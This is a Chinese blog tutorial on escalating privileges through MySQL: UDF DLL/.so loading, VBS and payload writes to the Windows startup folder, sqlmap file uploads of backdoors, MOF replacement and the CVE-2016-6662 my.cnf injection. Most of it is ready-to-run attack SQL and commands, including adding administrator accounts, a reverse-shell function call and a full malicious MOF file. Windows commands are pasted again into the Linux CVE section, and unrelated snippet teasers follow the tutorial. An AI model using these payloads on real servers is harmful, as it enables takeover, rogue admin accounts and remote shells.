mysql提权的几种方式(代码片段)

jerrylocker jerrylocker     2022-12-13     121

关键词:

MYSQL在windows和linux平台下存在几种不同的提权姿势,以下会做相关阐述,更多的是学习前辈的经验

Windows

UDF提权

在windows下存在一个叫做动态链接库的东西,俗称DLL。该文件会把程序代码中使用的函数编译成机器码,保存在DLL文件中;在编译时,编译器不会把函数的机器码复制到可执行文件EXE中,而是在EXE执行文件中说明索要调用的函数在哪个DLL文件中,程序在执行时会自动从DLL文件中调用指定的函数

在不同的操作系统上,UDF提权的整体思路是一致的,只是函数调用的方式或者说文件生成的形式所有区别

Windows下的udf.dll可以在sqlmap下的sqlmap\\udf\\mysql\\下,选择操作系统及其相应的位数,其中存放着相应的DLL文件,SQLMAP为了防止被杀,需要使用命令python cloak.py -d -i DLL文件路径生成相应的DLL文件

附上lib_mysqludf_sys的利用方式

  1. UDF提权大致思路如下:
    • 将含有cmd函数的DLL文件写入指定文件夹下
    • 基于第一步的DLL文件创建自定义函数
    • 基于第二步得到的自定义函数调用相应的函数,传入参数,执行系统命令(该命令执行权限为system)
  2. UDF利用条件

    • MYSQL版本大于5.1:DLL文件必须放置在MYSQL安装目录下的lib\\plugin目录下
    • MYSQL版本小于5.1大于5.0:在Windows2003下DLL文件放置于C:\\windows\\system32;在windows200下DLL文件放置于C:\\winnt\\system32
    • MYSQL版本小于5.0:DLL文件可任意放置
    • MYSQL数据库用户具有创建和删除函数的权限
    • DLL文件有写入指定目录的权限
  3. UDF利用方式

    • 查看plugin目录

      加载失败可先尝试删除原有的扩展名:delete from mysql.func where name=‘cmdshell‘;

      show variables like '%plugin%';
      select @@plugin_dir;
    • 写入DLL文件

      MYSQL大于5.1情况下,可能默认不存在plugin目录,因此可利用NTFS ADS流创建plugin目录

      先查找MYSQL目录:

      select @@basedir;

      再创建lib目录:

      select ‘It is dll‘ into dumpfile ‘MYSQL目录\\\\lib::$INDEX_ALLOCATION‘;

      最后创建plugin目录:

      select ‘It is dll‘ into dumpfile ‘MYSQL目录\\\\lib\\\\plugin::$INDEX_ALLOCATION‘;

      1. 通过webshell上传DLL至plugin目录下
      2. 使用udf.php工具写入DLL文件
    • 创建自定义函数

      常见函数如下:

      cmdshell 执行cmd;
      
      downloader 下载者,到网上下载指定文件并保存到指定目录;
      
      open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
      
      backshell 反弹Shell;
      
      ProcessView 枚举系统进程;
      
      KillProcess 终止指定进程;
      
      regread 读注册表;
      
      regwrite 写注册表;
      
      shut 关机,注销,重启;
      
      about 说明与帮助函数;

      常见利用方式:

      ## 执行系统命令
      # 根据udf.dll创建自定义函数cmdshell
      create function cmdshell returns string soname 'udf.dll';
      # 执行cmd命令(创建新用户)
      select cmdshell('net user waitalone waitalone.cn /add');
      select cmdshell('net localgroup administrators waitalone /add');
      # 删除自定义函数
      drop function cmdshell; 
      delete from mysql.func where name='cmdshell';
      
      ## 反弹shell
      create function backshell returns string soname 'udf.dll';
      select backshell("remote_ip",remote_port);

VBS提权

利用MYSQL数据库创建启动项

# 创建临时表a,cmd为字段
create table a (cmd text);
# 通过MYSQL获取系统高权限(后续补充,0表示不弹出窗口)
insert into a values ("set wshshell=createobject('wscript.shell')");
insert into a values ("a=wshshell,run('cmd.exe /c net user user1 password1 /add',0)");
insert into a values ("b=wshshell.run('cmd.exe /c net localgroup administrators user1 /add',0)");
# 写入到启动项中
select * from a into outfile "C:\\\\Documents and Settings\\\\All Users\\\\「开始」菜单\\\\程序\\\\启动\\\\a.vbs";

利用MYSQL数据库创建启动项,直接写16进制木马(dumpfile与outfile有所区别)

create table a (cmd BLOB);
insert into a values (CONVERT(木马的16进制代码,CHAR));
select * from a into dumpfile 'C:\\\\Documents and Settings\\\\All Users\\\\「开始」菜单\\\\程序\\\\启动\\\\payload.exe'
drop table a;

sqlmap提权

本质上sqlmap提权其实就是UDF提权,但某些情况下,无法获取MYSQL数据库的用户名密码,如:SQL注入,这时SQLMAP会帮上忙

# 前提条件:存在SQL注入,且MYSQL用户对应的密码复杂度较高,无法获取其明文密码,或者MYSQL无法远程连接
# 上传提权所需的文件,可指定文件存放位置
python sqlmap.py -u "http://ip:port/path" --file-write=本地文件路径 --file-dest=目标文件路径
# 激活sys_exec函数,用于执行系统命令(这一步骤与UDF步骤完全一致)
python sqlmap.py -u "http://ip:port/path" --sql-shell 
# 上传后门
python sqlmap.py -u "http://ip:port/path" --file-write=本地木马文件路径 --file-dest=目标文件路径

MOF提权

MOF文件是MYSQL数据库的扩展文件(c:/windows/system32/wbem/mof/nullevt.mof),其作用是每隔5秒该文件就会去监控进程的创建和死亡

  1. 提权原理

    MOF文件每隔5秒就会执行,且执行命令时的权限为系统权限,如果通过MYSQL将MOF文件替换,那么系统就会每隔5秒执行MOF文件,MOF文件中存在一段VBS脚本,因此控制VBS脚本内容变成让系统执行命令,进而提权

  2. 利用条件

    • Windows <= 2003
    • MYSQL对c:/windows/system32/wbem/mof目录有写入权限
    • 已知MYSQL数据的账号密码
  3. 利用方式

    • test.mof (此处借助wscrript.shell执行系统命令)

      #pragma namespace("\\\\\\\\.\\\\root\\\\subscription")
      instance of __EventFilter as $EventFilter
      
          EventNamespace = "Root\\\\Cimv2";
          Name = "filtP2";
          Query = "Select * From __InstanceModificationEvent "
          "Where TargetInstance Isa \\"Win32_LocalTime\\" "
          "And TargetInstance.Second = 5";
          QueryLanguage = "WQL";
      ;
      instance of ActiveScriptEventConsumer as $Consumer
      
          Name = "consPCSV2";
          ScriptingEngine = "JScript";
          ScriptText =
          "var WSH = new ActiveXObject(\\"WScript.Shell\\")\\nWSH.run(\\"net.exe user test 123456 /add\\")";
      ;
      instance of __FilterToConsumerBinding
      
          Consumer = $Consumer;
          Filter = $EventFilter;
      ;
    • 通过webshell等方式将MOF文件上传至任意目录

    • 通过outfile将MOF文件写入到执行目录下

      select load_file("当前MOF文件路径") into dumpfile "指定MOF文件路径";

Linux

UDF提权

原理和Windows下的UDF提权一致,一句话总结:通过log写my.cnf配置文件,设置恶意so库文件,重启MYSQL使恶意库文件生效,进而执行任意代码

  1. 获取plugin目录路径

    show variables like '%plugin%';
    select @@plugin_dir;
  2. 制作Linux下恶意so文件

  3. 将恶意so文件中的内容写入到MYSQL库目录

    # 可在本地先将so文件导出成包含16进制字符串的txt文本
    select hex(load_file("so文件路径")) into outfile "目的txt文件路径"
    select unhex("16进制字符串") into dumpfile("plugin目录路径");
  4. 创建自定义函数

    create function sys_eval returns soname "mysqludf.so";
    select sys_eval("whoami");

CVE-2016-6662

MYSQL 0Day漏洞:攻击者在仅拥有SELECT/FILE的权限下,利用此漏洞实现ROOT提权,执行任意代码,进而控制服务器

  1. 利用原理

    MySQL的默认安装包里面包含一个脚本mysqld_safe,它被用来启动MySQL服务。mysqld_safe脚本是以root权限启动的,而数据库守护进程mysqld是用较低权限的mysql用户启动的。mysqld_safe脚本中存在一个参数malloc-lib,该参数会引导MYSQL服务加载时,预加载一个库文件,该参数同样可以在MYSQL默认配置文件my.cnf中指定,如:[mysqld]或者[mysqld_safe]。该漏洞的本质是攻击者通过log函数利用不恰当的权限改写MYSQL的配置文件my.cnf,将恶意的文件路径插入到配置文件my.cnf中,从而加载恶意库文件,当mysql服务重启时,就能以root权限执行任意代码

  2. 利用条件

    • 攻击者必须拥有MYSQL的SQL-SHELL,以实现my.cnf的附写
    • 攻击者必须能促使MYSQL服务重启
  3. 利用细节

    • 通过SQL注入等手段获取SQL-SHELL

    • 通过文件上传或DUMPFILE命令将恶意malloc_lib共享文件上传到目标服务器

      select unhex("so文件对应的十六进制字符串") into dumpfile "目标so文件路径"
    • 覆写MYSQL配置文件my.cnf

      set global general_log_file='/var/lib/mysql/my.cnf';
      set global general_log = on;
      select  ' 
      '> 
      '> ; injected config entry 
      '> 
      '> [mysqld] 
      '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so 
      '> 
      '> [separator] 
      '> 
      '> ';
      set global general_log = off;

      以此通过log函数在my.cnf后

    • 执行任意命令

      ## 执行系统命令
      # 根据udf.dll创建自定义函数cmdshell
      create function cmdshell returns string soname 'udf.dll';
      # 执行cmd命令(创建新用户)
      select cmdshell('net user waitalone waitalone.cn /add');
      select cmdshell('net localgroup administrators waitalone /add');
      # 删除自定义函数
      drop function cmdshell; 
      delete from mysql.func where name='cmdshell';
      
      ## 反弹shell
      create function backshell returns string soname 'udf.dll';
      select backshell("remote_ip",remote_port);
    • 重启MYSQL服务,触发恶意库文件执行

CVE-2016-6663:条件竞争漏洞提权

CVE-2016-6664:权限提升漏洞

常见的MYSQL命令(持续更新)

# 如果是本地MYSQL,可直接执行系统命令
system command
# 查看plugin目录
select @@plugin_dir;
show variables like "%plugin%";
# 查看log相关环境变量
show variables like "%general_log_file%";
show variables like "%general_log%";

相关链接:CVE-2016-6662lib_mysqludf_sys,Linux UDF提权,MYSQL-0Day

总结mysql模糊查询的几种方式(代码片段)

总结下开发过程中用过模糊查询功能所用的一些东西,还有就是在建表时一定要考虑完善在建表,否则后期数据量大了在改表会非常的麻烦,请不要为了能够尽快用表而匆匆创建。在这也是给自己一个警醒,以后不再犯。#select... 查看详情

mysql定时备份的几种方式,这下稳了!(代码片段)

作者:letcafe来源:https://www.cnblogs.com/letcafe/p/mysqlautodump.html一、MySQL数据备份1.1、mysqldump命令备份数据在MySQL中提供了命令行导出数据库数据以及文件的一种方便的工具mysqldump,我们可以通过命令行直接实现数据库内容的导... 查看详情

windows下的几种提权方式的粗略汇总

参考技术A所以查找到有缺陷的服务,在可写的路径下插入后门,重启服务即可提权。powerup.五.通过office漏洞拿到win10的shell,先过uac,然后直接就可以导入system的令牌,瞬间获得system权限。 查看详情

数据迁移的几种方式-mysql数据库(代码片段)

写在前面:博主是一只经过实战开发历练后投身培训事业的“小山猪”,昵称取自动画片《狮子王》中的“彭彭”,总是以乐观、积极的心态对待周边的事物。本人的技术路线从Java全栈工程师一路奔向大数据开发、... 查看详情

markdownjs实现继承的几种方式(代码片段)

查看详情

jdbc数据库的几种连接方式(代码片段)

前言:JDBC中一般有五种连接方式,这五种方式都给大家分享下,大家根据真实的业务场景去选择连接方式。JDBC操作步骤:获取driver对象注册驱动(方式一、方式二不需要注册,因为直接通过driver对象获取... 查看详情

事件绑定的几种方式(代码片段)

(一)事件绑定的几种方式 javascript给DOM绑定事件处理函数总的来说有2种方式:在html文档中绑定、在js代码中绑定。下面的方式1、方式2属于在html中绑定事件,方式3、方式4和方式5属于在js代码中绑定事件,其中方法5是最推荐... 查看详情

tableviewcell的几种重用方式的区别(代码片段)

TableViewCell的几种重用方式的区别重用机制reuseIdentifierregisterNibclassforCellReuseIdentifier重用生成单元格方法共同点不同点在使用了r方法注册的情况下不使用r方法注册的情况下最终使用方式为什么不用r注册的方式尾文TableViewCell的几... 查看详情

归纳几种freebasic中的几种变量声明方式(代码片段)

1.Dimaasstring2.Dimasstringa,b,c3.constasstringa="hello"4.DimaAsconststring=Str(Rnd)暂时只想到这几种了.... 查看详情

创建线程及启动的几种方式(代码片段)

创建线程及启动的几种方式publicclassThreadNewpublicstaticvoidmain(String[]args)newMyThread1().start();newThread(newMyThread2()).start();FutureTask<Integer>futureTask=newFutureTask<Integer>(newMyThrea 查看详情

mysql定时备份的几种方式(非常全面)(代码片段)

在操作数据过程中,可能会导致数据错误,甚至数据库奔溃,而有效的定时备份能很好地保护数据库。本篇文章主要讲述了几种方法进行MySQL定时备份数据库。mysqldump命令备份数据在MySQL中提供了命令行导出数据库数... 查看详情

latex:fontsize修改字体大小的几种方式(代码片段)

 调整字体大小的几种方式,大小依次增大,具体如下: inyscriptsizefootnotesizesmallormalsizelargeLargeLARGEhugeHuge 【Reference】1、AdjustingfontsizewithTikZpicture  查看详情

通过jenkins进行提权的一个思路(代码片段)

作者:欧根亲王号  所属团队:ArcticShellJenkins是一款由Java编写的开源的持续集成工具,其本身具有执行脚本的功能在Jenkins的说明信息中列出我们可以使用任意Groovy脚本并在服务器执行它,其命令格式为:println(Jenkins.inst... 查看详情

mysql数据库udf提权学习

MySQL数据库UDF提权学习——数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能。————获取数据库用户密码的几个方法1、从网站的根目录... 查看详情

得到class类的几种方式与常用方法(代码片段)

得到Class类的几种方式与常用方法Class类Class类的常用方法获得Class类的实例代码如下//测试classs类的创建方式有哪些publicclassTest03publicstaticvoidmain(String[]args)throwsClassNotFoundExceptionPersonperson=newStudent();System.out.println(" 查看详情

hashmap的几种遍历方式(代码片段)

一、entrySet 键-值对集合1、iteratorIteratoritem=tempMap.entrySet().iterator();while(item.hasNext())Map.Entryentry=(Map.Entry)item.next();Stringkey=entry.getKey().toString();Integervalue=(Integer)entry.g 查看详情

遍历hashmap的几种方式(代码片段)

1packagecom.test;23importjava.util.HashMap;4importjava.util.Iterator;5importjava.util.Map;67publicclassTest89publicstaticvoidmain(String[]args)throwsException1011Map<String,String>map=newHashM 查看详情

springboot读取配置的几种方式(代码片段)

 读取application文件在application.yml或者properties文件中添加:info.address=USAinfo.company=Springinfo.degree=high@Value注解读取方式12345678910111213141516171819202122232425262728293031323334353637383940importorg.s 查看详情